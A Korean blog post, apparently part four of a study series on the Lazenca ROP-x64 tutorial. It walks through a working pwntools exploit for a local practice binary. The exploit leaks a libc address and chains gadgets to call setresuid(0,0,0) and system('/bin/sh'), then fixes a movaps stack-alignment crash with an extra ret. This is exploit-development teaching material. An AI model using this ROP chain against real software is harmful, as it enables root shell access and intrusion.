시스템해킹

[LAZENCA] ROP-x64 part.4

세종대학교 S.S.G / WHS 2기 2023. 11. 9. 23:31

이전 포스팅

 

[LAZENCA] ROP-x64 part.1

참고 자료 https://www.lazenca.net/display/TEC/02.ROP%28Return+Oriented+Programming%29-x64 02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0x0 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x64

yi-barrack.tistory.com

 

[LAZENCA] ROP-x64 part.2

이전 포스팅 2023.11.09 - [시스템해킹] - [LAZENCA] ROP-x64 part.1 [LAZENCA] ROP-x64 part.1 참고 자료 https://www.lazenca.net/display/TEC/02.ROP%28Return+Oriented+Programming%29-x64 02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0

yi-barrack.tistory.com

 

[LAZENCA] ROP-x64 part.3

이전 포스팅 [LAZENCA] ROP-x64 part.1 참고 자료 https://www.lazenca.net/display/TEC/02.ROP%28Return+Oriented+Programming%29-x64 02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0x0 Excuse the ads! We need some help to keep our site up.

yi-barrack.tistory.com

 

 

참고 자료

 

02.ROP(Return Oriented Programming)-x64 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x64 ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태

www.lazenca.net

 

 

자 이제 익스의 시간이 다가왔다.

 

그 전에 내가 찾은 가젯들은 전부 libc에 있던 가젯들이다. 따라서 libc와의 offset을 구한 이후 사용해야 한다. 원래는 binary 안에 있는 가젯들만 쓰면 좋은데 없는걸 어떡함. ㅋ

 

 

자 일단 local_libcbase(1회성) 값을 변수로 설정해준다.

여기서 사용하고 있는 주소값들은 저번 포스팅과 다르다.(프로그램을 다시 실행시켰거든. ㅎ)

 

이후에 printf, system, setresuid의 offset을 변수로 지정해준다.

from pwn import *
from struct import *

#context.log_level = 'debug'

#64bit OS - /lib/x86_64-linux-gnu/libc.so.6
local_libcbase = 0x7ff71e3a2000
libcbase_printf_offset = 0x606f0
libcbase_system_offset = 0x50d70
libcbase_setresuid_offset = 0xec420

 

 

"/bin/sh" 의 offset 구한 값도 지정해준다.

binsh_offset = 0x1d8698

 

 

우리가(내가) 찾은 가젯에 offset을 구해준다. 이 값은 local_libcbase를 가젯에서 빼주면 된다.

pop_rdi_ret_offset = 0x00007ff71e5d751e-local_libcbase
pop_rsi_ret_offset = 0x00007ff71e5d94da-local_libcbase
pop_rdx_ret_offset = 0x00007ff71e5f4323-local_libcbase

 

 

이후 문제에서 주어주는 printf address 값을 저장하고 이 값에서 printf offset을 빼주면 libc의 베이스 주소가 나온다.

반환되는 값에서 offset을 뺀것임으로 매번 정확한 베이스 주소가 나온다

r = process('./rop')
gdb.attach(r)
sleep(5)

r.recvn(10)
r.recvuntil(b'Printf() address : ')
libcbase = int(r.recvuntil(b'\n'),16) 
libcbase -= libcbase_printf_offset

 

 

 

자. 이제 payload를 작성해보자.

앞선 vuln 함수의 ret 주소는 72바이트 차이가 났고 따라서 A를 72작성한다.

 

자 이 이후에 어케 작성해야 하냐....

이런 순서로 작성해야 한다.

 

차근차근 살펴보자

ret 주소에 pop rdi 가젯을 씌운다.

이렇게 되면 pop rdi; ret; 을 사용한다.

pop rdi를 사용할 때 ad1870에 위치한 0x0 값이 rdi 레지스터에 들어간다. 이러면 rsp값이 8증가하고 ret을 할때 다음 가젯인 pop rsi로 가게된다.

 

pop rsi 가젯은 pop rsi; ret; 으로 이루어져 있고, 앞선 로직과 마찬가지로 0값이 rsi에 들어가고 ret은 pop rdx 가젯으로 하게 된다.

 

pop rdx가젯은 pop rdx; pop rsi; ret; 으로 이루어져 있다. (rsi 맞나?) 하지만 이는 중요하지 않다.

pop 두번으로 rdx와 rsi에 0값이 들어가고 ret으로 setresuid로 가게 된다.

 

이후 setresuid 함수에서 각 레지스터 값인 0,0,0을 사용해 setresuid(0,0,0) 이 실행되고 ret으로 pop rdi 가 실행된다.

이렇게 되면 rdi 값에 '/bin/sh' 문자열의 주소가 저장되고, 이후 system 함수로 ret 되어 system("/bin/sh") 이 실행되는 것이다!

 

 

payload = b"A"*72
payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rsi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rdx_ret_offset+libcbase)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase_setresuid_offset+libcbase)


payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(libcbase+binsh_offset)
payload += p64(libcbase_system_offset+libcbase)

r.send(payload)

r.interactive()

 

 

 

하지만.... 인생은 쉽지 않지.

해당 코드를 실행시키면 system 함수까지 무난히 실행되다가

해당 movaps 에서 segfault가 발생한다...

 

movaps는 16바이트 경계에 맞지 않을때 segfault를 발생시킨다. 

x64 우분투 18.04부터 추가된 Stack Alignment라고 한다.(역시 갓 갓 갓 pwndori님)

system 함수에서 내부적으로 호출하는 do_system 함수 안에 movaps 명령어가 있고, 이 명령어는 메모리 주소 가장 마지막 16진수 자리가 0이여야 한다. 안그러면 segfault 발생.

이게 유지되는 이유는 call로 스택에 return address를 넣을때 0x8 감소, 이후에 push ebp로 다시 0x8 감소. 즉 push 두번이니까 0x10 감소해서 Stack align 된 상태이다. 따라서 rop할때도 이를 지켜 주어야 한다.(우연치 않게 지켜질 수도 있음)

 

 

유명한 hackyboiz 아주 갓갓갓갓 좋은 정보 글이다. 한번 읽어보도록 하자. 아니 100번 읽어도 유익하다.

https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/

 

hackyboiz

hack & life

hackyboiz.github.io

 

 

 

그래서 이에 따라 sub rsp, 8; 로 감소시키거나 ret을 한번 더 실행시켜서 맞추는 방법이 있다. 일반적으로 ret을 한번 더 실행시킨다고 한다.

 

from pwn import *
from struct import *

#context.log_level = 'debug'

#64bit OS - /lib/x86_64-linux-gnu/libc.so.6
local_libcbase = 0x7ff71e3a2000
libcbase_printf_offset = 0x606f0
libcbase_system_offset = 0x50d70
libcbase_setresuid_offset = 0xec420

binsh_offset = 0x1d8698


pop_rdi_ret_offset = 0x00007ff71e5d751e-local_libcbase
pop_rsi_ret_offset = 0x00007ff71e5d94da-local_libcbase
pop_rdx_ret_offset = 0x00007ff71e5f4323-local_libcbase
#sub_rsp_8_syscall_offset = 0x00007f2e1828db42-0x7f2e181ed000

r = process('./rop')
#gdb.attach(r)
#sleep(5)

r.recvn(10)
r.recvuntil(b'Printf() address : ')
libcbase = int(r.recvuntil(b'\n'),16) 
libcbase -= libcbase_printf_offset


payload = b"A"*72
payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rsi_ret_offset+libcbase)
payload += p64(0)
payload += p64(pop_rdx_ret_offset+libcbase)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase_setresuid_offset+libcbase)


payload += p64(pop_rdi_ret_offset+libcbase)
payload += p64(libcbase+binsh_offset)
payload += p64(pop_rsi_ret_offset+libcbase+1)
payload += p64(libcbase_system_offset+libcbase)
#payload += p64(sub_rsp_8_syscall_offset+libcbase)

r.send(payload)

r.interactive()

 

 

 

문제 없이 system 함수에 있는 movaps를 넘어갔고

 

성공했다... 대 장 정 이였다.